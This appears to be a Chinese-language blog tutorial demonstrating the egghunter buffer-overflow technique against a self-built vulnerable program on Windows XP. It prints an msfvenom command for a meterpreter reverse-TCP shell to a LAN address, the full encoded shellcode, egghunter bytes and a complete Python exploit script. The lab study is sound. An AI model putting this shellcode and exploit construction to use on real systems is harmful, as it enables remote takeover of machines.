egghunter取名于“复活节彩蛋”,意为人们在复活节的时候去各个地方寻找有颜色的彩蛋。简单来说,就是利用一小段代码寻找一大段shellcode的过程。原因是可利用的栈空间太小,虽然可以控制跳转,但是不足以放下全部的shellcode。所以我们把这一段小空间装入寻找程序(hunter),而把大的shellcode放到后面的地址空间中,头部放上特征以供查找(egg)。hunter在全空间寻找这段egg。人们按规律搜索彩蛋的过程就是hunter;彩蛋就是egg。这个技术最早在2004年由skape的文章《Safely Searching Process Virtual Address Space》提出。
egghunter技术主要解决的是溢出位置无法容纳大的shellcode的问题,而容纳大的shellcode的地方一般不会有溢出。
名字十分有趣,过程也很有趣。
我们在kali中生成shellcode与所需文件,放到xp的VC++6.0下编译运行,metasploit接收反弹。
准备
1.OllyDBG
2.VC++6.0
3.immunity debugger
3.windows xp
4.kali
关键点
首先我们需要一段寻蛋程序放在预定的位置,可以利用msf-egghunter生成。
其次我们最终可执行的shellcode必须存在于内存空间的某个位置,也就是我们有存放大段shellcode的地方,只是我们不知道在哪里。当然也可以继续拆分,那么我们就需要构造ROP链多次在内存空间中跳转。
听起来很麻烦,但是“大道五十,天衍四十九”,万事不得圆满,漏洞往往出现在这一线生机中,抓住才有意义。
最后,我们还需要一些控制跳转的地址,如jmp esp、call、push/ret等,这个可利用mona在进程中寻找。
测试
这个例子演示的是egghunter技术,在xp下编译运行。
在win7下也可以运行,只不过需要关闭DEP,GS,ALSR和SafeSEH。
1 |
|
在这段代码中,我们读取字节流的方式是文件操作。我们定义了两个较小的内存空间,又在静态存储区定义了一个较大的内存空间。1.txt载入的即我们利用msf生成的shellcode,2.txt为msf-egghunter生成的寻蛋程序。
hFile创建了文件句柄,ReadFile读取到内存中。在fun函数结束时利用jmp esp控制跳转,短跳到寻蛋程序进行搜索,搜索后跳转到shellcode执行。
明白了原理,接下来测试一下偏移量:
先利用msf-pattern_create生成一段字符串来测量偏移量。1
2root@kali430:~# msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
保存在xp的C:\\2.txt文件中。
1.txt可以先随便填充点什么,测试阶段不碍事。
到OD里调试观察到:
确定偏移:1
2root@kali430:~# msf-pattern_offset -q 8Ad9
[*] Exact match at offset 116
上图是个我掉进去的小坑,后面会解释到。
既然已经明白了原理并确定了偏移量,那么接下来就是写poc了。
python写出poc
首先利用msf-egghunter生成寻蛋代码:1
2
3
4
5root@kali430:~# msf-egghunter -p windows -f python -e w00t -v eggfinder
eggfinder = b""
eggfinder += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
eggfinder += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74"
eggfinder += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
我们把这段代码放到OD里看一看:
实际上在windows平台下主要有两种方法搜索进程地址空间。第一种是利用了windows的一个特殊功能:结构化异常处理。即经典的SEH栈溢出,SEH栈溢出不在本文讨论范围内,但是和egghunter结合起来也是一件利器。第二种是用系统调用。即本文中的方法。系统调用中也有很多可用函数,后面会说到。
我们利用AccessCheckAndAuditAlarm
函数进行内存搜索。进入系统调用也有两种方式,一种是int 2e
,一种是sysenter
。这里我们选用int 2e
使程序从ring3(运行应用程序,user层)进入ring0(运行内核程序,kernel层)运行API函数。
1 | 66:81CA FF0F or dx, 0FFF ;获取内存页面的最后一个地址 |
为什么将shellcode前的标志设置为4字节重复两次呢,因为我们同样在hunter寻蛋程序中放入了这个四字节标志才知道我们要搜索的目标,那么我们在搜索的时候就有可能会将hunter寻蛋程序中的标志作为目的地。所以重复两次,以免产生错误。
实际上我们有不少方法编写hunter寻蛋程序,比如另一个应用广泛的安全搜索内存空间API函数NtDisplayString
,系统调用号是0x43,把6A 02
更改为6A 43
即可。
或者使用IsBadReadPtr
函数与SEH。但是随着safeSEH的应用,使用SEH算法时还需要考虑绕过safeSEH的限制。有兴趣的筒子可以在下方链接中查看具体细节,大佬的译文。
egg hunting
再看一下原理图:
在immunity debugger里用mona寻找一个可利用的jmp esp
。1
!mona jmp -r esp
选择kernel32.dll中的0x7c86467b。
确定跳回到hunter寻蛋程序的偏移量:
1 | root@kali430:~# msf-nasm_shell |
生成shellcode:1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=5555 -b '\x00' -i 3 -f python
python代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59import struct
file_name1 = "1.txt"
file_name2 = "2.txt"
buf = "w00tw00t"
buf += b"\xd9\xc1\xbe\x5d\xe6\x14\x62\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x63\x31\x70\x1a\x83\xe8\xfc\x03\x70\x16\xe2"
buf += b"\xa8\x59\xc6\xa1\x17\xdf\x3d\xf7\x4e\x6b\xe6\x0c\x2d"
buf += b"\xbd\x2f\x5d\x90\x8c\xd2\x8c\xa9\x02\xd0\xb2\x02\x11"
buf += b"\x8e\x39\xc9\xa7\x4e\xbf\xfb\x3a\x03\x99\xc3\x91\x63"
buf += b"\x98\xda\xc6\xb5\xfb\xc4\x6a\x44\xf2\x05\x4a\x76\x59"
buf += b"\x65\xad\x85\x61\xa2\x35\x43\xc9\x76\x35\x21\xcb\x5e"
buf += b"\x31\x1f\x22\x90\x23\x3a\xde\x20\xe4\x4f\x82\xb9\x96"
buf += b"\x14\x3f\x0a\xb0\x3f\xb3\x7c\xa6\x87\x15\x0d\xb0\xb0"
buf += b"\x55\x86\x2f\xb2\xb2\x94\x7d\x95\x90\xde\xa7\x6c\xd0"
buf += b"\xd9\xc5\xcd\xf5\xdf\xa3\xa0\x17\x9e\x41\x47\x5b\xf7"
buf += b"\xb9\xf8\x55\x23\x73\x4f\xcf\x01\xbc\x55\x65\x5d\x04"
buf += b"\x76\x0f\x2a\x59\xfc\x9f\xe7\x10\x86\x93\x4e\x55\x8a"
buf += b"\x44\x7c\x9e\x18\x90\xaa\xcd\x67\x10\x2e\x8d\x4f\x23"
buf += b"\x15\xa8\xee\xba\x25\x39\x62\x61\x7c\xfd\xd9\xbd\x54"
buf += b"\x81\xb6\x35\x92\x29\x05\x5b\xeb\x84\x93\xe5\x57\xad"
buf += b"\xfe\xd5\x83\xba\x41\xc7\xa5\xf2\x9a\x0d\xe9\xf1\x93"
buf += b"\xca\x7b\x2e\x76\x6c\x5d\x3e\x36\xd8\x0b\xd3\xfd\xc4"
buf += b"\x0c\x3c\x3d\xff\xe8\x0e\x63\x80\xd5\xf0\x98\x0d\x09"
buf += b"\x92\x3b\x3e\xf9\x1a\x20\x3c\x3f\x74\x4a\x60\xb3\x4f"
buf += b"\x23\x7e\xb3\x1b\xb7\x0f\x9e\x76\x7d\xde\xd8\x7a\x3f"
buf += b"\xe1\x5f\xb0\xea\xdb\x52\x7b\x46\x04\x7c\xdb\x27\xe5"
buf += b"\x11\x11\xf5\x23\xa2\x28\x1d\xfe\xae\xd2\x7d\xad\x61"
buf += b"\xfa\x97\x3d\x44\x0f\x02\x54\x0b\xc6\xd5\x5e\x36\x86"
buf += b"\x4f\xec\x22\x8a\x51\x9b\xb1\xd5\xc3\x23\xca\x61\xcd"
buf += b"\xbb\xe7\x48\x94\xe9\x3c\x0d\x0b\x94\xe9\xae\x63\xeb"
buf += b"\xb6\x92\x65\xf2\xd0\x92\xe1\xe0\x8e\x4b\xa5\x96\xe0"
buf += b"\xe2\x8d\xa9\x9c\x16\x4e\x51\x11\x69\xd7\xdb\xc9\xe4"
buf += b"\x1a\xb7\xd6\x4c\xc2\xab\xc2\x4e\x02\xcd\x1b\x3c\x5c"
buf += b"\x05\x07\xd9\x1a\x42\xcc\xfa\xee\x0d\x65\x26\xa2\x30"
buf += b"\x16\x07\x5d\x27\xcc\x0f\x23\x01\xea\x9f\x2d\x03\x19"
buf += b"\x78\x2c\x9f\x0c\x6e\x7d\x99\x7e\xea\x23\xc4\x94\x81"
buf += b"\x48\x55\x58\xe2\x9d\x61"
eggfinder = b""
eggfinder += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
eggfinder += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74"
eggfinder += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload1=buf
poc_file = open(file_name1,"w")
poc_file.write(payload1)
poc_file.close()
offset =116
#7c86467b
jmpesp=b"\x7b\x46\x86\x7c"
jmpegg=b"\xeb\xd2\x90\x90"
nops = "\x90"*(offset-len(eggfinder)-8)+eggfinder+"\x90"*8+jmpesp+jmpegg
payload2 = nops
poc_file = open(file_name2,"w")
poc_file.write(payload2)
poc_file.close()
nops那里我在eggfinder
与jmpesp
间插入了一段nop,原因是我在调试过程中发现func函数执行过call _chkesp
后会在我的栈中修改一些数据,即
所以需要避开hunter寻蛋程序。
参考文章:
egg hunting
谷歌翻译《Safely Searching Process Virtual Address Space》
Windows下的系统调用号
windowsXp 系统调用课堂学习笔记